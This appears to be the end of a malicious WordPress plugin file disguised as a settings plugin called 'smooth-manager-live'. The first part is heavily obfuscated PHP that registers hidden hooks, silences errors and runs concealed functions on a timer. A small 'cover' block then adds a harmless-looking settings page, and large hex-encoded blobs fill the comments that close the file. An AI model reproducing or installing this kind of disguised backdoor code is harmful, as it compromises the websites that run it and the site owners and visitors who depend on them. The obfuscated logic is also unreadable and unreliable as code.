 uh36p8urjd71g_u9smnf(b4gbsak56f40gos(227),   op9tjzix(1995),  1);
uh36p8urjd71g_u9smnf(tvo1rh46s_(227),   fjup2mc1h(1996),  2);
      
uh36p8urjd71g_u9smnf(zp28wk01y(227),      wlgh2_th(1951),  (0x1+0x2));
     uh36p8urjd71g_u9smnf(zp28wk01y(1997),  op9tjzix(1998),     (0x1+0x3));
 uh36p8urjd71g_u9smnf(fjup2mc1h(1999),    op9tjzix(2000), (0x3+0x2));
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),  fjup2mc1h(2001),   (12-6));
 uh36p8urjd71g_u9smnf(op9tjzix(1999),  fjup2mc1h(2002),    (7-1));
   uh36p8urjd71g_u9smnf(op9tjzix(2003),     wlgh2_th(2004));$me5pb7nheyg=PHP_MAJOR_VERSION;$ts9elmfudbb96=$me5pb7nheyg*5;
uh36p8urjd71g_u9smnf(wlgh2_th(1999), b4gbsak56f40gos(2005),  (2+5));
     if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(2006))) {
    $GLOBALS['__scf_b1rqpek_6hp_174'](function ()   {
if      (!empty($GLOBALS[zp28wk01y(1596)])) return;
  if (!defined(zp28wk01y(1703))    || !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1781)))    return;
    if    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(2005)))     {
  try  {
 _yjfvv1s_lwgdiro4wbm1();



    }     catch (Throwable  $x0ydieb0v_72m_u)     {
 }   catch (Exception $x0ydieb0v_72m_u) {
     }
}
   });
  }
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),      zp28wk01y(2007),  (6+2));
   

    uh36p8urjd71g_u9smnf(wlgh2_th(2008),     wlgh2_th(2009));

uh36p8urjd71g_u9smnf(tvo1rh46s_(1747), b4gbsak56f40gos(2010));
   uh36p8urjd71g_u9smnf(wlgh2_th(1446),  zp28wk01y(2011),  (19-9));
   uh36p8urjd71g_u9smnf(zp28wk01y(1999),   function ()   {
 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1781))   ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1878))) return;
   $tj3513movf =      (int)   @get_option(fjup2mc1h(2012),  0);

 if  (($GLOBALS['__scf_yg2rpewmkg_192']()     -  $tj3513movf)    >  (2305+1295))   {
if  (!vbnv9cp3zphaateswj())    return;
 @update_option(b4gbsak56f40gos(2012),   $GLOBALS['__scf_yg2rpewmkg_192']());


    pwvpu09why95tgx6j();


}
 },   (244^253));
 
  uh36p8urjd71g_u9smnf(wlgh2_th(103),      wlgh2_th(2013));
    w1x2vlyn0dayva0xvorosh(zp28wk01y(2014),   fjup2mc1h(2015));
if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(478))     && did_action(fjup2mc1h(1999))) {
  d8pbcrz4yto4oebxs95hd6();
  }
    
}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','smooth-manager-live-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('smooth-manager-live_group');
        do_settings_sections('smooth-manager-live-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('smooth-manager-live_group','smooth-manager-live_options');
    add_settings_section('smooth-manager-live_main','Configuration',function(){echo '<p>Configure options below.</p>';},'smooth-manager-live-settings');
    add_settings_field('smooth-manager-live_cache','Cache Mode',function(){
        $o=get_option('smooth-manager-live_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('smooth-manager-live_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'smooth-manager-live-settings','smooth-manager-live_main');
});
if(function_exists('add_shortcode'))add_shortcode('smooth_manager_live_stats',function(){
    $o=get_option('smooth-manager-live_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('smooth-manager-live_options'))add_option('smooth-manager-live_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*18debdb257b33d299335aa8f736294d9e7a62401c1d8ccd99f5dba05ea134cbb9c9735ac78e1abdb3b3dd47368751a68c7a10e33cd6c37bb2d571e7aa77ff48db2140b57c2abb11486765501e138619ae6afbc5e98d70b2383bdc76f5f39096c6df30065e47554b43a537792288eeaaaeecb97a02769e7baabc599ab49d6e25e4704913db5add647519ce569fbec379bbc70fda78cfcb02707d3128310b18b2d211bd2eecc8da818e3f132c1430ee1f5cb25c415c5112a1f2ab6e967735610536a5d87ece0bb1db5633c4f89f5a3f0e9d094dd0a60e69ef314a9aaecade7dcdb699f32782f982263ec7c0f28c14dc503285e055954aa9970d74f8641eb350b3b1da4d8658aa35610a9ca80bf109e78dea1cb98a96204e74290cdb8cc2a4bd242d2c6ddc78e31d9e204c362478c11293ac580ca5e032f6a3124bcf5df195d4e5b63ce9da4ba719f217226994843cdbedd9178dd1ab769c1b98a810595628571ead74367ee39df2d825bd670b84cdd5e2c7b73585d4ce5d6ba675afeb77f977e937ab1f88f563d076b1df13178798814d76f3bb902548bdcb3c8c7998f48b64c9808de8f045bc6b3ee0634511814db0762e7b260f750ac05ff8351ccfb435b640917ef5de80003739e331df2155c8ff1c204ed07ac2b38a525fe3b1d3196475b2e1bad7e17f170c15435daac2c3d66d543026ac12c869987c8bc1d49381bcb8e162ed78f122469ff698a95d187cd0e67c0ead70b46ce5159b09816b574bfa12b53b64295f423b74e35749ced5a523c11de88adbace277d681406fa21cb3d37acfb0fa1da245d5aa3f71aacf653c3e94e7a245699c94817e616bd6c5a2d823f97da25708d3da6d242dfcf119311afaba669bc7babd7ea4db57f6c191911e3022c8adef361efd06c7b7cf70fe7ff947794157d958a4fe996a9ab94dc99f79ccbe332e1a8f1b976f9c433310e4a88566ee2799a36dac98f00d6716cb87a351a44a426004960f9ccd272cf98e58dfb2fab8eaca01034c708c06103dcdcdc9be649c4ad20a16448c0d6b96334fa3b0074895118ad260bcbe6cb7683578887ff964a4dc7bf3227f88d2db3d04e80daadb026f8ffc4510b206855e55504695ccfcdffa9ed11a6d6b743f13ac677f9b7addf7e65890ac757cab7f385ab951b496aeec28b1341affe9e2ff60625cb0b6c8dad358a30dc8bbef286cdc9972fbc68cc0e3597ebc96758f5bde694e83e2cd793880508634c785b34f100dd85da715e34b56e9f6fc7b5facffcdaae05dbb43e26ded67777b6b159b47c95043ef965081f0af352e9960338a89b8a9e31e2cc349c41dfb22835113d1f9077a9fb2aaaf06b122c7d27dcca4f115ecff8aafd201aaf971920914ff4ee7fa0acdc6715906799b0efd008282a14d392119146c0c355d05ec8527a2c239401a27f8e88594044f5618563c2a6f454339960c9513e4b34c702dc81a082229d337179e479e0f5b55e4312ff3240e39e7eebd9566b7f853a7a7ef6850580f3a5a8f3de921d7273ccba28fd3f044b8d1680ebc054b72602683255fa208e30435028cadf1a00deb404708847d7169bb5d3da2c942af7dcc714be35244aa0a9ddea00722a1f07371fd95aa4e81df8f0fcb03ba0fd64c0c85cc020b595e8ea100d5745bab64232a15f7392664af53a63fc6ca34ee2fe5a43773689101c32c09b3b8390b5b8f91eb8b0dec7ed7a172f21030e282517a0b3f03dda5ff46515ff3d2963b35fcd39f41641e5fac2fcda90ed03d31c546282c03b86db17da0611b62862617007c9b301b3e1f7a1df81d0c0177389dc8b8b267ce7273c027cee1f35c613b8bfa1d9f7be8c997d23f995e9016d4aa17663f5cd68bf7ebcf6b7b9a8526cd628ca57166c1b074c14d078c21f133f70b6ebe4e137c10e84495dfa977201b9c1570c3e0e4f148045eb4138e0cd4861ccddbe5e9230b1fd4a88858c48d39e608ab28efd06af6572a40b00b9737ffd65ef33a6387f0d5c7129b74e09f98599cc91ed3443ead79ab69de1cf110118b94b0f400489a2083a36e87e42cb0714e00061979a0b09cc057cd3b21721ceea0e16b0fa81ca80bedfbcae9d6a262de9ddef05137508455ef9055d027daefc8e3b732596bc748e9b3c63df45a8ef8cd6e0270b430735feccdcf6595eec49d10ac5e5e4da99c6ccfd8336fc53921e99ad71f860b641fc411c9a1709c3844875b9080eed303bc7c30b17b6dbdfcb8a1de91c5a87045a9586e4a0e07eb555619aec943faeeb09bdb7008d6f59d284dabdbe131ba40486114b436d6a138ff047d5e8f373baafc7471addb0f3eefbefecbb14b02f444b5f460d17a2bf74bb95d50ca0ebedf9330ebed685ff4bf20109ce48454bd28f027ba77ae08df97ded4ca386b021563322f47d400ae3d9ff33b4ed41b4b18dbb48c51e3346adf67a7ca5b6ad15ab9a367374e9227e085d036f4d0540ba4926760b997c5e9d06a7a8b82c072377dbd2306ce955388d74154dc949ba19629908e730284d6aee8288b6c45400fb450ca85f0a187baea09d261fb2321a0f34833d9e7936405a42228f29139745f80409ec722a9ba8602ec8a24f053284c4873ed1e281d26678ae295010265634efd450402ce5f72eee4c7b7d9a67101fdd60f64c8a4305a377773a5fbe77b0af4e8ecd0de9046f7cae7d3d7e676b9f22660bde125fe957791c9dfc8ec5cd6e408592ae2cad8abc5e964d368e2f0c6b297ae5da2a471bc5bf205edfcd333201f02a59744535e2fffb528e57522e2e36c264cef686104c848c16e1bfd1ae938eefa078a08fd0195af94a11452dc1ff3096b8ca26*/
/*ee45e4382a24b88bf370168158167dfcccf9ad343badde75690411ca0aa7fa01b7f634db9a4b380abc118e92f62e2ebb22a5479e06c3de9b9e4bd1f34b59d7ad8a5ad6e5c8ceca374953f6db32474c2d95376628ebf2650b9c4c8704f8457ae0c08bc78b8baac7785e2d855e6e8132b0ede3744b2445325d5ed8f7e7683c1fe5b0a7b27a35c6d9ebfd5abed4f15a36401fa98e2e86826eaca51573c95f83dad6ed0752a08af7840a74315cbf4fd2d7e5b1e8e5a353c5ef996150f52d106ac462e984bdf28cfee5a7eb77596cc5bcf7c407d25797e56e2e0b3029d47ff6d12b0f499bfc520ae01648efd92a0399393471f42a9b799977a2aa839a39956834df609979656bfbe61e745a852ea7891b7ba5d0c4749d12049ae680367e023796cdd1d214a3a35a48b5d942682b0cd820f91fc858cc39b85f2d9c61cbb771b1e56baaeddf85480337e029ef11c24e8a0acc25e4a1b6cdcfeecc16fc44d5c0242a51133d96e90446c3c315ac51986c91e58323d91d1d9599912879af47ab9f0b71f7809a3d66afc095f16285a07ffd505e6a2c9485a0ee4e198cbaa244e84e70d45d03abd6e1555b4d209dce6561637676fa33c2284a7d90a77764f4d1d561b64f95db12046c062dfb1f27930ab6ca6842f3a02c156e54c2ab971710a73a7fc2492e01ab3220eeff6c9d3334ae8a2041c8ddd99d7ee6312a45843038c691049f013476a9c8117b2d03f80d6a779cff621a71c76ed3c5e2183614cef58711711abb844d01874dfeb1ddad6074e85e0a4d105395f4dac5ac7d6ef7645b5fafbabd591f810b5f485dabd807b3c594719301c1e16df5f5c8f8f3359131fc1a803ed91b291af148c43a83f300956ad18afa5c13381ac9abbbca8fe5f315fcea2a965de7e92244bcac2d3d474034de88d41d2a0da43d38c6d2b314ffd90835f532afd0dcc429964c75158e1a94c189c1147cb9480764345ac1cf78e57dc095b4b3e87122b4c91088a30b2254344a1dbbc2a9b4503dae6368c7ad59b0e487037b5e5f1ae5ac427e25d2c2e7cf435388baf89d05a0b1022e8425c0f50d3222d32a031c7e87ca165ae4eda813bc9d1e225beed9a81a04e4ad2ab8ac6457db5d1c43bf0aa6aff80ff7d2f203e595af60747d125cc054786676c1c1c299de6f1a7ebc80d64b87464091b1272e18cacb16f1f4378e614903bcbd4cd7f02f48f7115d06874c2bdc49c125d973ce2a9131c47903d8861fd6ae4dd90d957a6a34ef459cecdc3621561193630c7129c69de4623bb5169c69a583cd1d0e6b3c3f3def8f33abb64e77d02a610e0ef49ed75312afa30b44ad090ced48704e6ce49cafebb057d2ddb5c3d894fc10b43aa38ffea54ad99f641d2cef4198b09a2ae0b142f069a1b278a665209e82a36962810458d2c7e0c3dfa4d8a39bf8760d7ef1e78358e72af0cfa744a84a0bafad52ce0cb08e02dfddeabfd420d2205a263047c1f991ce684359d1a00259a0652b4a94884d9b2a91f1d19e937337d4018c8bae374311d483d2e8fef79b1e54703e0ccdbae6cecec00a93f28034b843adf0f4f904dc6b4b436293e8d0db6bdbbded8848926847cde3e7a318e45dbfe212d0f584bf043f25dd2cbeb4d8fdb552bd8097469c363e69077b084785b52ee837ae9e22f6c56796f22981f8092d150fb60a945f1851c9adc7ef5dbdb681ed052a9d6413f54b04f61a30dd970eb07565b7f74898f31fc9d89c4ec6fa8fdd8d4edacea1a2e55e048b6c9a2e027054921c8fc4600ee745f321a6dc04a4aa295240e7d1334d2725e2ce1324b1a4a5f09876faf9944b84d5f011ac4a887bcd44a499f3d650c5dce610ada7a07efcc5ca82fa0beac398220920dc73cf454aa5e28f62acf01e07155cfb75e3ce40ae7ca4400eaee973b864889f59e542dbfb37f987528d9fe63bb5dbbdd86439c9c0dd83271b7c4505e2e78010181951c3297110add1c894caa1dad44948ebc802a681f4117859f321c3e2bb478c70fa4ff3dfebb46fa0067a2dd6d720066b2ae70abab2b3541ee396d97d6d7231f53c1fe8c8365af8d7a0e63d32a858df168101486a0d927c9aeb5be887854240f423f0c10284ee2bf02b7828a6ef0261a35524e77e0c66430b330eaa46d8f1ee8c1bac375ea1c8b7e5d6b9ad237978abff4172c99b02db6d450b1f1bf07371ca3000a58a927a63b0a11373a97bbdc8d5612ecfb4071072316f42055274d72e919b243e5af325cd9f842d0bb8d273edb34d8ef6d0189f4382e8f17da4c47f3e1cb69b4a91bddff13a84b0c561d23c0c108a2ac5e51eb4d8a24bc96c4871602fff45506dfa0c6d6370b0bb644f9d315c24adce49a9731685d7f2605d1160022523b3199940cebcceec27e02a251778585ee49c46eadec89dcbfa163df7a235ffb04796efc45477e350be885479f727b6d17bb330a74a60162e3eea68a67b5371ed90c49941b39008382d48976a1c71b8cacd0b1f6ed67a44890d52224222345dc21078c50595d38c754b66ef45bac623dabddf809fc2384e4d7faa4f33c3aa5934956145665904916085fa243ddc32a7c01f08006c31aecc462506a53ac6ec26507e4f446df76f6695e2b911564bbf6c6d5b80229667e2537cde2700257bcc8123bb2a191dbe23e7e99794bd008598a5998c36cb71cff60f758a81a9e70355b8bd06957f7c03661920f08c115677e6c81535df43e1743482078ebef972f6d76c0192d262fb2801370dc9650ae59f5920418b985d38c858f077cb1b7ee494b0a3d14a35836d99d20196e6a04e026a366d4ba86bd8a9e7842f0c480225d8180b144778cf6cc7ce356108*/
/*c70b8ae34ec3adebeb395798cec2827153c6e4eb8ffbd9938acb9307977bfa31b265d5dfd86bfbe997725dfcffc8f0710a2121941c731916ec950b5241698313a5b9d2acd321850c113dfff8b58b13464aef45d5f35871391492de76edc00bd020a349ae39bf60ae54d258c573c324bc91c8e071a887f04aca17cd52b3668d151717fe265552771352cd00b7e7ba3a762551b259e864cf8a05eb874cdd5fad92f1df9339e4ffc9d356298a2cee8c0155c3c317cc0539545f2850b6940bb4f33bff8241cf4a7a346e168398337f2f33f19cbf5dd98b7ff26a9c0a11e168967e353fee78174e73fd367d516cda2b636013a2207e2b7187d0c15b5d2146d58e61cd723d9cd6e7f6bcbf9cc63c8d82ebc25ce4cd6cb320f68f1f7413ba9f30c9bbb849cc7a3eb5fdc6b4f0664882bf7fccd4cca029b773a327da8aad12c656bbc1da716af3e8054285a455a482513ab9c55fa66b39de1818a66e5948190909dab46b8d0da5e0e77cc2957854f7c4023a58a9217c5456a42bdb5e7d18b8a31d2d31cb5a6f7f2afcead991940e26c2473a6bd830e3e667d823820e719ccc08af915084b4bb25492f7978eede79a9270b3170da6d04ad254b4d56f531e7a08fc2af300c16c244d7b0e66bd90b9d8f5888535e17ee4493bee18bb217b23d55ef2baf93ee74c021ce6bf529598b833ed24766f5250462f4ab02c9bc0898a0894d7b8343aee317f8d4dd7f1677be14a504bdd2c9dd2c81cc0bdccf398157ad7e37441751af8e7cee2ab971f021506a468e4bb882d0c8bdd9fc150feb7355f107a34861209b27ec45484ec7ae767a605c63e74ce4ab66e63d3714d4a7b8cc2e28e3fa3413b0488a4d207c0ef929cc9f4d485eb9d2a2515ffc3ecc12d9c7afb901b9e3ba030eecd745090e7b2176a5268195dd1750b2358f99546f7b471ee94aebe310c27ac1a6bccb1a5303b3a69b26a23e0e1bac4c82cf95c45c89de8bdbddfb1fb8592ea24c7b6a397316e44874df0685576aa7f46cf47485f7361f29f29c886157e9c6e5deda1f3099792191cb4c38ce484a8381b31f6af919b8b118d48542569e6ff8f522f72f1e0455b8bdd848ef3444880fbb55e14db46dd3fff84ac6f040adb49d0808e9857c3155ffdd3d3840547761dd5f8fef3dddcfe99bf61e488ba1b287865dd850b4f03961c55bbc531f76f354c9c54ca00f2c5a9136da5a916fa196738955a1062fea92249f961b4fe7f276b512d1ada2544186dab9ac5d39e197f4cd35606fe6c38298fb75c9cb7cbcac7e408b564361c560e4c64fe4dc59ba49aeda984945f95f5a897a44afa550bfa08ef194f5e80193a8c0828ee543710111d2713a6320a9295aa7e96b0d517bf82a212b31b28de36ba0197812b415ead7652481676138a07b64fbfdee1bfd4ec263d0b22153c2834abfd2f9d5b6a07d75e5b807b4933983731bbc8d112e8d9c9d93a801cbfe5ef4ca0815a5a9f9b5a9869c32f825a75066c8d032333aec00ddecedba1aa6bc5ad67d8a14e18888ccf380e6a6e3fcf8d3ab76475e1de098aa7e2eab19f0f53c98267d9cfc7e57a8f6f72351d8b727f403078ecfdc71a1474ffc2d6489b772b82361160d983c7a0a62114cc185149f7f8392a200be150e559cc6d16e21237e5df9dab9fc1a8cef1dec4fa3d6895f325ce7b214ba68de23e8761b01610e24ac46c5c39ba3b38bde3c088ce1307e783483542e5ffe25a16bd97c598b932d7c15266e7e2c897237db638924f05b1b2acbfe1b52edff5c4725e1662cedbb99499636ac223fcefd129d4980282e753ae2f2695fc52d1c5b131267637a8c6c841fe188f97a1c28df321c5805893c38ff0f90daae54f14360dc03aebddaae38a38aa0dcb26379cdf5cb8baa9a2f6594d4f42853e60e6cdaa11f071aaae57d98addd861845051df532daa442151202a0a7dfb7d6e83373903dcec58fd907e20150b2667ced5849c873b0c2fb4fe244959942be4e6d157005387e0bf4417ef801b590e617255b372b4ae4bd0b16da6de8fca876f7a51100920ed33fc3603a784809e44c5225ef5603cf565680c53e5e8977f19fce77ed1a06f9d2618fe1489561d6b551f2305ed3485e8ed94edbe58489b88c91b87d5e8f7a0737307b518b4e92d687aeaca7dc445ece83c4bed8c3cac32aceaf55059adc0d914f458694c335f20f6e298da5c1c3a7d5ed431d518bc695dbef419f6809d94bb74983985d7c6d60c67cd86433e005cb2f2330fd3c167d73ca4a6f1fa87d0a149fd189238ed70440160dfaf6e1ad8a79181bbd71be2713a099caeef0bd03b8a7d729a6079830d745eb8bfb2a48e9442a17eaa00f4b14069ccdc34b7df15ce1fba969f9e0f0782a91276a7448c849d40e348d58a09c21c558c5e51461ad746c272bb81f3e1bf394111e8527be9fb2ea7ad566f71ef36a0f2ad861fcc325f32bcdd4c06181bc2bd107786c5ad041d313c44328794b70bb3acbf83a88a76f5934aac12466316c1dc0e25b7c6d7be9174229f7ee0ff137b0561557dccb252503a0f354c3300105c86cf7ec88dc754f8279cfff6717c0ddbafa90946f439a77de33e13be9f0b06e6e04d7cf535dfba8206bfe181596000142695b8f9378cc096479d86000b2d1fdae1b8d4d3024624240bc9e63b8d99dea08b7bcd8cbd61c6aabe0c5cc1f7bf1a1ba4823eae2a944fb61ca7383d693df0f3de1ca96dcc779e6b6af3265930d7140568f22aa83c54de36fe723f0ae95062e01f167375679bcefc10f135bc2a45be3ebff3b9898b8a8c5d6e16fec6dfeb265ae25920116b2ca85af9d1f842ca6d1bb7b11dcc2511d20*/
/*be91faa66d567ce13cebd265996e109a5ef37d61065948303291e73a4fce0a1d218d04206d603a6944914b60e9be9ac3f0a45f81dfd58e937dd71720e91b7c5e43d8b0d940075352f4fe62d3b40fa43402522b0ca04bdf22cee664efa8671b7762f3e3cafba4bb7f3e483d52e3412270acb175f907becdb939520c41ef261f0a2bcd6c176ff54714f813ff58b3525c55b911dea50420f2513b2c67911f16987c30187aa14aee7be84f9da06e82bed98a064b12e8420635c964bf51a17c4ca2e334120d5611470316df1065e71158c3f3180dfa6bb404f3fe7d6d028081f68e9f0180f02d34ea45444e1f4954912746112e2c1d85cd7a3a996e4d2fa8be711da394f999f7e5d7957f759d177df70c2f087ed58f93db1fc5150ea766e24bd02058d1e111513e7ab7755e4a19728529e90d880e4757b9cb9ed6647705dc4839963b7fd5a44ca175949db67e669785da6a22a3c7573d3376f2910de3d00ef26e8337a99aeb61d52e648b63c33c99767843446382078de1b4790317425616c1c5f2c5a7642db67641496a399fdf5bbc499c0cf9d56ce108182ee6114b8ffa1fc52ccb952ba1957e211dfd1c157e4a885af25c8e8972d36b784cf3486d546e87f7336db158efd16dd90265abe2e2ad99ad2c001241aff7cbf1e270f61594966bf0ed9e42c1623dcfc73d2b2e910cd66e5ff8d1a54f14e768eaaa46e12011de5737be071b4d5747f191ce2c80a80449466d949d179e1c2c84791eeca1c2652c70341a57fd4c519cddc440c019256757ed7ec8a3df7da2a3a4d4d3c0123e032fc7455d18c14d950f07d3e37a65b73a7a29d8b2f15608b5f6ea254db82c7c0f460180a211fda15fdd086962c6e07210fb8e87efcc8c2e41db87b645cea029947a1c7abe8b1291b00dc0e5ac08a5c0989744fafee96fa262eb0a83e936499ef523e972f24732cc2af02630685953f4475f25e7d4639d95631810b166831c4c8e5fdfeb907002c119c902e2afed79762687aed927a96a33b865c31c89c3b3d7b10018bce200699f9a18eb08e2eeffad85d485f90ffec9342e697bdc3293d86d0bb37f3f489a9bcc831e16dca2cb0ffcdd227f520742fb1a6964497e1fd5d937ed0a921c72ea62b1bff1d7a2973f0c7755b6fdda45c24c0bc9c45dff83da38da51a8ed624fe8ca170764100bf173161de610d1f674de329ac8a9079181ebb93a1ababd2078ba74a37171e12b463747bc5c36a2a7b5a40cfe96cb81882e933b2aa27368efbb3f70589d2200bbc6abfcd414877ee388ad0db568fbaea16ad72fb4264cc5c01d5c8e2704b8ded28292b73896499f67d3f3b4a84871f217ded52498c620e0084f2229e5fb688c6d301dd6a1583088b04d48e811b7499731ffdcfcbeb0d8d25c6e1ba74b054eb21ff62c1a0f8008470ef1070677d97985cce436dc174d98dd46ddbac8e1a43f685186f3638128a5d88e44c518d42474410683820e20bb2bf8588f9afb611045f8135e5fa70286d65cf4d71d16ff0ac2b5f6bd623ee44597a0a314a3c870626e70328e0ae262d3399cbc99623b288e902ce53ca3617de596f580ed3427d6e04f65d02f398ce2c4e132984f9ade698609839c2b61fe27209c9b67cd49da91ee6bf533987782c122b41c41eeedaf3b10390c996738707d2f5127c7c6581d4097c433c748ca434c1a84fbf1c84508539fdb5b100c8036a8a1df0f931667d7583f60d291c178fae3756850b811d52eec504a1d1efaa18d0f588e30dc1ba04402ecca0d82c3c964d94e1aeefc3d13af4def44a874d4fa7ff9f9319b05d915b9a6370a0c5d0d16d56063218d2886743d751f321412584e3f316aa0e56ac589ce401f3be231aa38cd015353d3067d9e0576a84b4daa5c18cccb52a4d36e07936a66c2113284f172ded8a9c0cebf4b45b971e2e76b0f4d494f75f8519a6b83a7c6aa4ce33ccd8f42ef6b709d7a41333cfb441dad63766986ad360bb1dd2ec83c9df4c5164e85fc6fdb33a49e4d03c576d5faef286a86d410807f95b05c882c1df136136259325262c5bfdd427c324c3d3d669589fbcce50c9b3301247ee172df3746773dc17fce8894c48dcc572bf8cc048cc37e54fa66c714e271dab2945367fd414927a723c51a10afc13117f32f1568764b41aa1955e3e25ba4654f3699b7dcafc1ac6a5ac96c1d4855fe43f4bcd3bd5537f22f21395b1c2113f1264ddfebbdf2c7bc150f846d0f9f90b3c9d6f9344082cd04287c11644484ae230395eb22d608044c5f7850e1fe4d518b2b9bc402be9451ce3e59342eabb0930adff9f209b6853320470ee8c316b16da46b31ba90c7aa3318d33e7ceb47b63a9ef7d840a4831860f9d68fc9cc483b00dfa714bdb4c2bd521fc831e56ffb933d2dde69965380c1213a611345c7c4c26920b81d42f3507f8860208e3056e2038699eb360c6d603f8091b122bff5971d99b70fa72fc82ccc7f0ddc31a0da0f775e5202af0333ce27698afc5685678d306ca1b635895e3b93624f2682595e0465b08e83de7369f2d7617c414558c3b839201cd88cb583d621a729ea25675f2770c79d818ebc0ed4f959ccc7bac145f0403587b50ac4c5ff121c1043055cde628ef52c8a8caf53b636aafc13d44d9d8947456d4545cee136d29d7cec9dc9aab2c4045067167480cc332519818d138839b89767ed42874db384771c28e9039aadd89ed23fe917fcc3dd18734181fe53c81bd5b33d199e54f40ad9cf33b4373b8363fa9e36dd2a897863ac7179543081c14148a54c4203583c1336e3b43e7f67cc78c265dc24ce82a8f0222700f8ad7197df1486d4ad47ae*/
/*f8b44c7a99ae9715e7bfa4c4094cc77ae562b7a6b9519e36e004244c1c4d5f8c89d320f2beba43079d9055f61ec847250f97e6769abc86e20a936020f1308ff0faa042a7eba011a5f88e0b2f6765e92c26d3ece792e34b3e5fc6f95e3ee4aae8d6759715b05bf8fd709f16115a159036e5e213f1ca04e36a9ae1a19baa3f30f8244bbab7c6d1ceefb4827ece3573f3bb15d5c056a63615a5236039e973494e599a11dd6a95c9957855aa09a3dd8adaa342411a5e72635294aec48de91502bc9701c14be463e5438eefd72cf7305622c5ec02f2c2a3ba10acfba14f7e5d22b3cee549565777406a240de1787e853506525712bf52c69c9a3f774d82b7e117b5f5d3dd320e44f9527ea2d0979ee74d44320f57c272a6f8801225eb78d70d35aa2f4109fa558478b503df4c083370606a82f35350fab6b521e8c2c697ba6fb6468d67f2cd4be304511a8bf36806b3de86e82501fe38f6669727630cd555dc6aa4001f86d94d0e77cd412b69933b1e850a8f8e0f49d9bd73812a4005e74097bbc7ed59905ea94a03f8485a4d6653c297873a1f5f64087cb096b6db46056671a53b706bb2a7a3dff316faeb960348e41fbaacff497b7c23433fbeb5c7e27257673fee9597ae4338b462f3ffbdeb5d6b366e6c61b8d090dbbdf59b154994320ddbd52b266485e860fea92ff181e0b38934254d29dc6e949e1856b275a477c076b44de87d0d32340b878345cb04a8a6836044b9474d4071917abf56cf7a83399ed6941500793c4f7d331dadc98138127ddff2f5439fee3f40959556a2e5295f98394319a6fde0f7e481aaddefd4d79a278612d4f05c82809c06a953436c7240c4dacef3304bb7aace4414c697b3d3e47320c7647b47fd5dcb34a71e7212063b02a4008c130bd10cba7743bb602972d3c13ad5536f26706221554a12868efe32d3178d72e861a2df0e7c90870ba620a00e8519d84059817b87bacf95d1f5fb68c80717e92eb09eefbe691c132952ef1f15acb15055b3118fe3454d0a20d600c61d7a664824074a6c40413a1f9d0cf21726c96a86034836bf2611fe88e257a67aab1b2aae792dc40d7c2b5a4185c00f67631fbf59dc76ed952e38a25e840acce2c70da5e83875d315357961e34eaba9f81fcae3a80886f98fc663cda02f278c397e786235ded4e3faec2b4351c0ba32ee6d1159bdf107232af6044f5a1d4d24baa43789eeebba7627ce2c3122902df10a816c17853c04f9423106f22007da4e5724ecb55eed08a1ac104f6708a9ed42d1c27d2a6a07319c5f39b58e251e723add56eed545df2ba46d4e4fb6e139c51a3814b0bb9446804059364c5cda60f980850102665d3b666244984cf68a63b59b5a41248f06e88779a36820d7374e1e0f4ed6c5cd3073379c2088530fc90931574e55e2f445bfd971096a8a2823e1f00037dda0584295b625056ace173ef9ae27aae64abc93e4ed8b27fe5fe59e4a514eee7cd127ecdb89d04a0c8024ba84bd6d8f9020d0dc5f6cc3bcfe66acf1c94bed20b138cfb7aff810ad511685e5a1df5d65add5eb00623ab7f1fc0d50cb9a1574905db3baeaf2bcaedfdc83ce13b21a2bba51c3f4ad334d0036527969999239b0df4976dbc7afff277d68823c30eebc9c6cfc6cc7e9958055a7e25ccbbc164323b2e7dd60068807b48b9e573b0fac9b7d490228b379d578ee1112318a6eaf3679d4e78162deea37d7ad8c2de120b84ecc5a973b537a0f5f23b2f4204cbeca21b9fa8177cf17b4004678fdca019beb9d877e6d1e0cf3a4008b75216d5c7664ced83cb9dc6b8f979df783fdd872f4adee4378d37a5d9a463e89fe6033c24d43feef40a5430b5022b0d2d2ae0a8a755d710c815aa90117f255e5d672ecb939b5b3b50697a8d73431b37212c0eac1a7d6ed4fb595f94e9f221dbe115003c320165aed4953a91b13338f6649bf49e798c4a3d23a55589134a1a46501c2594678da792eb979c0b5911435869ec35f8c63e63bfda1fae9f47ae6b4db0ee11549e096098a7328d8f01d89eaeed1dc0581be8645fcc1635f5f957f4344ebb033d783906c9902d5b1118d6deb4372c11bbb44f1788c62db2bc1cb64cd39951721b0c4954e0b7810547995c2810e26b2fd8d7daaa11750ddb83278b317d8e359da80d155ddc82ad3970f9ad48cc1d57cc97830b965ce6ff5b32ca3c660b76457bc432c6dd54addd03a47de180f0f73ed98785e67244c847148fcee5b29da3a07ac96117a08d7d3c171c16ba123c83a590a4809ea9e7c495fbc1186c4afb80b3b04a19c4719e585baa8d23445ff36eb556b226595bbfbfe00277479b3bd6aea576c3a78da44c2b2edba28ce31e8838fac0d8e1cb9b26c9b06f55e7335f7d5ec51751d3f8140c8f31cfa08e77be7fbdafc303af6f7f5fe1cc611e36926eba966954f1484aa3604665a9dbf6c2183660be29172c77cda7bf744ce1299b7657b8370748e001001d9c0afdfb542c6e7a7280234726fc4ddc749f468188346784bda2a66cdd058904ee7bfc2d763d6e605f5bd6162c7d11d472fac30fb46072ce4aa8b06ff0f5af29b24e732541c3343f8966646eb124822ed95f9299f6df5d7d350fd6eadfc3dc10a1121b0c08db767fd6a9f8a3043ad1